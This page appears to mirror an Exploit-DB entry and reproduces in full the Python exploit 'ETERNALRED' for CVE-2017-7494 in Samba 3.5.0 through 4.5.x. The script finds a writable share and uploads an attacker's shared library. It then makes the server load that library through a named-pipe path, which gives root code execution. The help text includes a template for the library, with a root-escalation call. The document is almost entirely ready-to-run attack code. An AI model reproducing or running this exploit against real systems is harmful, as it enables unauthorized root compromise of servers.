Samba 3.5.0 – Remote Code Execution

  • 作者: steelo
    日期: 2017-05-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42060/
  • #!/usr/bin/env python
    # Title : ETERNALRED 
    # Date: 05/24/2017
    # Exploit Author: steelo <knownsteelo@gmail.com>
    # Vendor Homepage: https://www.samba.org
    # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
    # CVE-2017-7494
    
    
    import argparse
    import os.path
    import sys
    import tempfile
    import time
    from smb.SMBConnection import SMBConnection
    from smb import smb_structs
    from smb.base import _PendingRequest
    from smb.smb2_structs import *
    from smb.base import *
    
    
    class SharedDevice2(SharedDevice):
    def __init__(self, type, name, comments, path, password):
    super().__init__(type, name, comments)
    self.path = path
    self.password = password
    
    class SMBConnectionEx(SMBConnection):
    def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
    super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
    
    
    def hook_listShares(self):
    self._listShares = self.listSharesEx
    
    def hook_retrieveFile(self):
    self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
    
    # This is maily the original listShares but request a higher level of info
    def listSharesEx(self, callback, errback, timeout = 30):
    if not self.has_authenticated:
    raise NotReadyError('SMB connection not authenticated')
    
    expiry_time = time.time() + timeout
    path = 'IPC$'
    messages_history = [ ]
    
    def connectSrvSvc(tid):
    m = SMB2Message(SMB2CreateRequest('srvsvc',
    file_attributes = 0,
    access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
    share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    oplock = SMB2_OPLOCK_LEVEL_NONE,
    impersonation = SEC_IMPERSONATE,
    create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
    create_disp = FILE_OPEN))
    
    m.tid = tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
    messages_history.append(m)
    
    def connectSrvSvcCB(create_message, **kwargs):
    messages_history.append(create_message)
    if create_message.status == 0:
    call_id = self._getNextRPCCallID()
    # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
    # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
    data_bytes = \
    binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
    struct.pack('<I', call_id) + \
    binascii.unhexlify(b"""
    b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
    c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
    03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
    2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
    70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
    2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
    01 00 00 00
    """.replace(b' ', b'').replace(b'\n', b''))
    m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
    m.tid = create_message.tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
    messages_history.append(m)
    else:
    errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))
    
    def rpcBindCB(trans_message, **kwargs):
    messages_history.append(trans_message)
    if trans_message.status == 0:
    m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
    m.tid = trans_message.tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
    messages_history.append(m)
    else:
    closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')
    
    def rpcReadCB(read_message, **kwargs):
    messages_history.append(read_message)
    if read_message.status == 0:
    call_id = self._getNextRPCCallID()
    
    padding = b''
    remote_name = '\\\\' + self.remote_name
    server_len = len(remote_name) + 1
    server_bytes_len = server_len * 2
    if server_len % 2 != 0:
    padding = b'\0\0'
    server_bytes_len += 2
    
    # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
    # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
    data_bytes = \
    binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
    struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
    binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
    struct.pack('<III', server_len, 0, server_len) + \
    (remote_name + '\0').encode('UTF-16LE') + padding + \
    binascii.unhexlify(b"""
    02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
    00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
    """.replace(b' ', b'').replace(b'\n', b''))
    m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
    m.tid = read_message.tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
    messages_history.append(m)
    else:
    closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')
    
    def listShareResultsCB(result_message, **kwargs):
    messages_history.append(result_message)
    if result_message.status == 0:
    # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
    data_bytes = result_message.payload.out_data
    
    if data_bytes[3] & 0x02 == 0:
    sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
    else:
    decodeResults(result_message.tid, kwargs['fid'], data_bytes)
    elif result_message.status == 0x0103: # STATUS_PENDING
    self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
    else:
    closeFid(result_message.tid, kwargs['fid'])
    errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
    
    def decodeResults(tid, fid, data_bytes):
    shares_count = struct.unpack('<I', data_bytes[36:40])[0]
    results = [ ] # A list of SharedDevice2 instances
    offset = 36 + 52# You need to study the byte stream to understand the meaning of these constants
    for i in range(0, shares_count):
    results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
    offset += 12
    
    for i in range(0, shares_count):
    max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
    offset += 12
    results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
    
    if length % 2 != 0:
    offset += (length * 2 + 2)
    else:
    offset += (length * 2)
    
    max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
    offset += 12
    results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
    
    if length % 2 != 0:
    offset += (length * 2 + 2)
    else:
    offset += (length * 2)
    
    max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
    offset += 12
    results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
    
    if length % 2 != 0:
    offset += (length * 2 + 2)
    else:
    offset += (length * 2)
    
    max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
    offset += 12
    results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
    
    if length % 2 != 0:
    offset += (length * 2 + 2)
    else:
    offset += (length * 2)
    
    
    closeFid(tid, fid)
    callback(results)
    
    def sendReadRequest(tid, fid, data_bytes):
    read_count = min(4280, self.max_read_size)
    m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
    m.tid = tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
     fid = fid, data_bytes = data_bytes)
    
    def readCB(read_message, **kwargs):
    messages_history.append(read_message)
    if read_message.status == 0:
    data_len = read_message.payload.data_length
    data_bytes = read_message.payload.data
    
    if data_bytes[3] & 0x02 == 0:
    sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
    else:
    decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
    else:
    closeFid(read_message.tid, kwargs['fid'])
    errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
    
    def closeFid(tid, fid, results = None, error = None):
    m = SMB2Message(SMB2CloseRequest(fid))
    m.tid = tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
    messages_history.append(m)
    
    def closeCB(close_message, **kwargs):
    if kwargs['results'] is not None:
    callback(kwargs['results'])
    elif kwargs['error'] is not None:
    errback(OperationFailure(kwargs['error'], messages_history))
    
    if path not in self.connected_trees:
    def connectCB(connect_message, **kwargs):
    messages_history.append(connect_message)
    if connect_message.status == 0:
    self.connected_trees[path] = connect_message.tid
    connectSrvSvc(connect_message.tid)
    else:
    errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))
    
    m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
    messages_history.append(m)
    else:
    connectSrvSvc(self.connected_trees[path])
    
    
    # Don't convert to Window style path
    def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
    if not self.has_authenticated:
    raise NotReadyError('SMB connection not authenticated')
    
    messages_history = [ ]
    
    
    def sendOpen(tid):
    m = SMBMessage(ComOpenAndxRequest(filename = path,
    access_mode = 0x0040,# Sharing mode: Deny nothing to others
    open_mode = 0x0001,# Failed if file does not exist
    search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
    timeout = timeout * 1000))
    m.tid = tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
    messages_history.append(m)
    
    def openCB(open_message, **kwargs):
    messages_history.append(open_message)
    if not open_message.status.hasError:
    if max_length == 0:
    closeFid(open_message.tid, open_message.payload.fid)
    callback(( file_obj, open_message.payload.file_attributes, 0 ))
    else:
    sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
    else:
    errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))
    
    def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
    read_count = self.max_raw_size - 2
    m = SMBMessage(ComReadAndxRequest(fid = fid,
    offset = offset,
    max_return_bytes_count = read_count,
    min_return_bytes_count = min(0xFFFF, read_count)))
    m.tid = tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
     read_len = read_len, remaining_len = remaining_len)
    
    def readCB(read_message, **kwargs):
    # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
    if not read_message.status.hasError:
    read_len = kwargs['read_len']
    remaining_len = kwargs['remaining_len']
    data_len = read_message.payload.data_length
    if max_length > 0:
    if data_len > remaining_len:
    file_obj.write(read_message.payload.data[:remaining_len])
    read_len += remaining_len
    remaining_len = 0
    else:
    file_obj.write(read_message.payload.data)
    remaining_len -= data_len
    read_len += data_len
    else:
    file_obj.write(read_message.payload.data)
    read_len += data_len
    
    if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
    closeFid(read_message.tid, kwargs['fid'])
    callback(( file_obj, kwargs['file_attributes'], read_len ))# Note that this is a tuple of 3-elements
    else:
    sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
    else:
    messages_history.append(read_message)
    closeFid(read_message.tid, kwargs['fid'])
    errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))
    
    def closeFid(tid, fid):
    m = SMBMessage(ComCloseRequest(fid))
    m.tid = tid
    self._sendSMBMessage(m)
    messages_history.append(m)
    
    if service_name not in self.connected_trees:
    def connectCB(connect_message, **kwargs):
    messages_history.append(connect_message)
    if not connect_message.status.hasError:
    self.connected_trees[service_name] = connect_message.tid
    sendOpen(connect_message.tid)
    else:
    errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))
    
    m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
    messages_history.append(m)
    else:
    sendOpen(self.connected_trees[service_name])
    
    def get_connection(user, password, server, port, force_smb1=False):
    if force_smb1:
    smb_structs.SUPPORT_SMB2 = False
    
    conn = SMBConnectionEx(user, password, "", "server")
    assert conn.connect(server, port)
    return conn
    
    def get_share_info(conn):
    conn.hook_listShares()
    return conn.listShares()
    
    def find_writeable_share(conn, shares):
    print("[+] Searching for writable share")
    filename = "red"
    test_file = tempfile.TemporaryFile()
    for share in shares:
    try:
    # If it's not writeable this will throw
    conn.storeFile(share.name, filename, test_file)
    conn.deleteFiles(share.name, filename)
    print("[+] Found writeable share: " + share.name)
    return share
    except:
    pass
    
    return None
    
    def write_payload(conn, share, payload, payload_name):
    with open(payload, "rb") as fin:
    conn.storeFile(share.name, payload_name, fin)
    
    return True
    
    def convert_share_path(share):
    path = share.path[2:]
    path = path.replace("\\", "/")
    return path
    
    def load_payload(user, password, server, port, fullpath):
    conn = get_connection(user, password, server, port, force_smb1 = True)
    conn.hook_retrieveFile()
    
    print("[+] Attempting to load payload")
    temp_file = tempfile.TemporaryFile()
    
    try:
    conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
    except:
    pass
    
    return
    
    def drop_payload(user, password, server, port, payload):
    payload_name = "charizard"
    
    conn = get_connection(user, password, server, port)
    shares = get_share_info(conn)
    share = find_writeable_share(conn, shares)
    
    if share is None:
    print("[!] No writeable shares on " + server + " for user: " + user)
    sys.exit(-1)
    
    if not write_payload(conn, share, payload, payload_name):
    print("[!] Failed to write payload: " + str(payload) + " to server")
    sys.exit(-1)
    
    conn.close()
    
    fullpath = convert_share_path(share)
    return os.path.join(fullpath, payload_name)
    
    
    def main():
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
    description= """Eternal Red Samba Exploit -- CVE-2017-7494
    Causes vulnerable Samba server to load a shared library in root context
    Credentials are not required if the server has a guest account
    For remote exploit you must have write permissions to at least one share
    Eternal Red will scan the Samba server for shares it can write to
    It will also determine the fullpath of the remote share
    
    For local exploit provide the full path to your shared library to load
    
    Your shared library should look something like this
    
    extern bool change_to_root_user(void);
    int samba_init_module(void)
    {
    change_to_root_user();
    /* Do what thou wilt */
    }
    """)
    parser.add_argument("payload", help="path to shared library to load", type=str)
    parser.add_argument("server", help="Server to target", type=str)
    parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
    parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
    parser.add_argument("--password", help="Password for user default is empty", type=str)
    parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
    args = parser.parse_args()
    
    if not os.path.isfile(args.payload):
    print("[!] Unable to open: " + args.payload)
    sys.exit(-1)
    
    port = 445
    user = "nobody"
    password = ""
    fullpath = ""
    
    if args.port:
    port = args.port
    if args.username:
    user = args.username
    if args.password:
    password = args.password
    
    if args.local:
    fullpath = args.payload
    else:
    fullpath = drop_payload(user, password, args.server, port, args.payload)
    
    load_payload(user, password, args.server, port, fullpath)
    
    if __name__ == "__main__":
    main()